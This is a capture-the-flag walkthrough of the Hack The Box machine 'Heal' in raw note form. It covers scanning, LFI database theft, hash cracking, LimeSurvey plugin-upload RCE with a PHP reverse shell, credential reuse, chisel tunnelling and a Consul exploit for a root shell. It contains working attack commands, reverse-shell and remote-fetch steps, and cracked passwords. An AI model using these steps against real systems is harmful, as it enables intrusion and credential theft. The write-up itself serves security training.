HTB — Heal
ResumeAI app with IDOR exposing all resumes. LimeSurvey RCE via authenticated plugin upload. Consul service token for SYSTEM shell via API exec.
nmap`
nmap -sC -sV -T4 -A -Pn -p- --open 10.10.11.46
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 13:09 EST
Nmap scan report for 10.10.11.46
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/11%OT=22%CT=1%CU=41051%PV=Y%DS=2%DC=T%G=Y%TM=6782
OS:B3FF%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelnmap -sC -sV -T4 -A -Pn -p- --open heal.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-11 13:11 EST
Nmap scan report for heal.htb (10.10.11.46)
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/11%OT=22%CT=1%CU=44246%PV=Y%DS=2%DC=T%G=Y%TM=6782
OS:B46B%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(SP=101%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CS
OS:T11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=
OS:FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=
OS:M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)
OS:T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S
OS:+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 20.35 ms 10.10.14.1
2 22.07 ms heal.htb (10.10.11.46)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.94 seconds80/tcp open http
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:vhost fuzzing
ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://heal.htb/ -H 'Host: FUZZ.heal.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://heal.htb/
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.heal.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 207ms]
dir search
dirsearch -u http://api.heal.htb/
[13:30:24] 401 - 26B - /profile.jsp
[13:29:19] 401 - 26B - /download.php
[13:29:19] 401 - 26B - /download.js- need to signup and use the token to interact with the
api.heal.htb


parameter fuzzing
wfuzz -c -z file,/usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://api.heal.htb/download.php?FUZZ=key -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ" --hc 500
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://api.heal.htb/download.php?FUZZ=key
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002233: 404 0 L 3 W 27 Ch "filename" 
LFI

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -u http://api.heal.htb/download.php?filename=FUZZ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ"
000000566: 200 4 L 108 W 32768 Ch "/proc/self/fd/15"
- highlight the response in BURP and copy to file to save as
database.sqlite
sqlite3 database.sqlite
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
ar_internal_metadata token_blacklists
schema_migrations users hashcat -m 3200 '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' /usr/share/wordlists/rockyou.txt
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369creds
ralph:147258369

RCE LimeSurvey
- https://www.exploit-db.com/exploits/50573



RCE plugin
- https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE.git-
edit the php reverse shell with our IP address
-
edit the
config.xmlto a new version
-
zip the files
config.xmlphp-rev.php
zip Y1LD1R1M config.xml php-rev.phpthe overal steps
LimeSurvey Authenticated RCE Proof of Concept:
1. Create your files (config.xml and php reverse shell files)
2. Create archive with these files
3. Login with credentials
4. Go Configuration -> Plugins -> Upload & Install
5. Choose your zipped file
6. Upload
7. Install
8. Activate plugin
9. Start your listener
10. Go url+{upload/plugins/#Name/#Shell_file_name}
11. Get reverse shell- execute payload visiting:
http://customers-survey.marketing.pg/upload/plugins/Y1LD1R1M/php-rev.php

- exploit by going:
http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/php-rev.php
nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.46] 57448
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
16:19:23 up 22:11, 0 users, load average: 0.37, 0.08, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data$ uname -a
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1057/nginx: worker
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:56947 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 127.0.0.1:8301 0.0.0.0:* -
udp 0 0 127.0.0.1:8302 0.0.0.0:* -
udp 0 0 127.0.0.1:8600 0.0.0.0:* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::35334 :::* -linpeas
postgres db connection creds
╔══════════╣ Searching passwords in config PHP files
$config['display_user_password_in_email'] = true;
$config['display_user_password_in_html'] = false;
$config['maxforgottenpasswordemaildelay'] = 1500000;
$config['minforgottenpasswordemaildelay'] = 500000;
$config['passwordValidationRules'] = array(
$config['use_one_time_passwords'] = false;
// This setting has to be turned on to enable the usage of one time passwords (default = off).
'password' => 'somepassword',
'password' => 'root',
'connectionString' => 'pgsql:host=localhost;port=5432;user=postgres;password=somepassword;dbname=limesurvey;',
'password' => 'somepassword',
'password' => 'somepassword',
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'password' => 'AdmiDi0_pA$$w0rd',
<?= CHtml::activePasswordField($model, 'dbpwd',['class' => 'form-control']); ?>
<?= CHtml::activeTextField($model, 'dbuser',['class' => 'form-control']); ?>
<div id="InstallerConfigForm_dbpwd_row" class="mb-3">
<div id="InstallerConfigForm_dbuser_row" class="mb-3">
'control' => CHtml::activePasswordField($model, 'adminLoginPwd', array('class' => 'form-control'))
'control' => CHtml::activePasswordField($model, 'confirmPwd', array('class' => 'form-control'))
'label' => CHtml::activeLabelEx($model, 'adminLoginPwd', array('class' => 'form-label ', 'label' => gT("Admin login password"))),
'label' => CHtml::activeLabelEx($model, 'confirmPwd', array('class' => 'form-label ', 'label' => gT("Confirm your admin password"))),
'password' => '',psql
python -c 'import pty; pty.spawn("/bin/bash")' $ psql -h localhost -U db_user --password 'AdmiDi0_pA$$w0rd' -d surveysurvey=> \list
\list
WARNING: terminal is not fully functional
Press RETURN to continue
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileg
es
-----------+----------+----------+-------------+-------------+------------------
-----
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
survey | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres
+
| | | | | postgres=CTc/post
gres+
| | | | | db_user=CTc/postg
res
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
| | | | | postgres=CTc/post
gres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres
+
| | | | | postgres=CTc/post
gres
(4 rows)survey=> \du
\du
WARNING: terminal is not fully functional
Press RETURN to continue
List of roles
Role name | Attributes | Member
of
-----------+------------------------------------------------------------+-------
----
db_user | | {}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}reuse password SSH
ron:AdmiDi0_pA$$w0rd the password was from psql foound in linpeas
www-data@heal:/home$ su ron
su ron
Password: AdmiDi0_pA$$w0rdron@heal:~$ cat user.txt
cat user.txt
ed47101e...ssh ron@10.10.11.46
AdmiDi0_pA$$w0rdchisel
ron@heal:~$ wget http://10.10.14.6/chisel
ron@heal:~$ chmod +x chisel./chisel server --reverse --port 1234ron@heal:~$ wget http://10.10.14.6/pspy64
ron@heal:~$ chmod +x pspy64ron@heal:~$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8300 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8301 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8302 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8600 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8500 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8503 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN - ./chisel client 10.10.14.6:1234 R:8500:127.0.0.1:8500 R:3000:127.0.01:3000ron@heal:~$ curl 127.0.0.1:8500
<a href="/ui/">Moved Permanently</a>.ron@heal:~$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="theme-color" content="#000000" />
<meta
name="description"
content="Web site created using create-react-app"
/>
<!--
manifest.json provides metadata used when your web app is installed on a
user's mobile device or desktop. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="/manifest.json" />
<!--
Notice the use of in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>Heal</title>
</head>
<body>
<noscript>You need to enable JavaScript to run this app.</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
<script src="/static/js/bundle.js"></script><script src="/static/js/0.chunk.js"></script><script src="/static/js/main.chunk.js"></script></body>
</html>
priv esc
consul rce
- https://www.exploit-db.com/exploits/51117
- need to get the
ron@heal:/etc/consul.d$ cat /etc/consul.d/config.json
{
"bootstrap":true,
"server": true,
"log_level": "DEBUG",
"enable_syslog": true,
"enable_script_checks": true,
"datacenter":"server1",
"addresses": {
"http":"127.0.0.1"
},
"bind_addr": "127.0.0.1",
"node_name":"heal-internal",
"data_dir":"/var/lib/consul",
"acl_datacenter":"heal-server",
"acl_default_policy":"allow",
"encrypt":"l5/ztsxHF+OWZmTkjlLo92IrBBCRTTNDpdUpg2mJnmQ="
}
-
acl_default_policyis set toallow:- This means that, unless otherwise specified, requests should be permitted by default, which might simplify interaction without a token.
-
No explicit
acl_tokenoracl_master_token:- The configuration file does not directly include any ACL token. The token might be dynamically generated or stored elsewhere (e.g., environment variables, a secure vault).
-
encryptKey:- The
encryptfield contains the gossip encryption key. It is unrelated to ACLs but is used for securing communication between Consul agents.
- The
python3 51117.py 127.0.0.1 8500 127.0.0.1 1236 ''
[+] Request sent successfully, check your listenerron@heal:/etc/consul.d$ nc -lnvp 1236
Listening on 0.0.0.0 1236
Connection received on 127.0.0.1 36992
bash: cannot set terminal process group (100991): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# whoami
whoami
rootroot.txt
cat root.txt
df01fa35...Up next
HTB — Instant
APK reverse engineering reveals hardcoded API key for Swagger endpoint. Arbitrary file read on API leaks SSH key. Solar-PuTTY encrypted session cracking for root.
HTB — EscapeTwo
MSSQL with xp_cmdshell after credential spraying. ADCS ESC4 template modification for certificate impersonation to gain Domain Admin.
HTB — Sea
WonderCMS CVE-2023-41425 XSS to RCE via theme upload. Credential reuse for lateral movement. Port-forwarded internal tool for command injection privesc.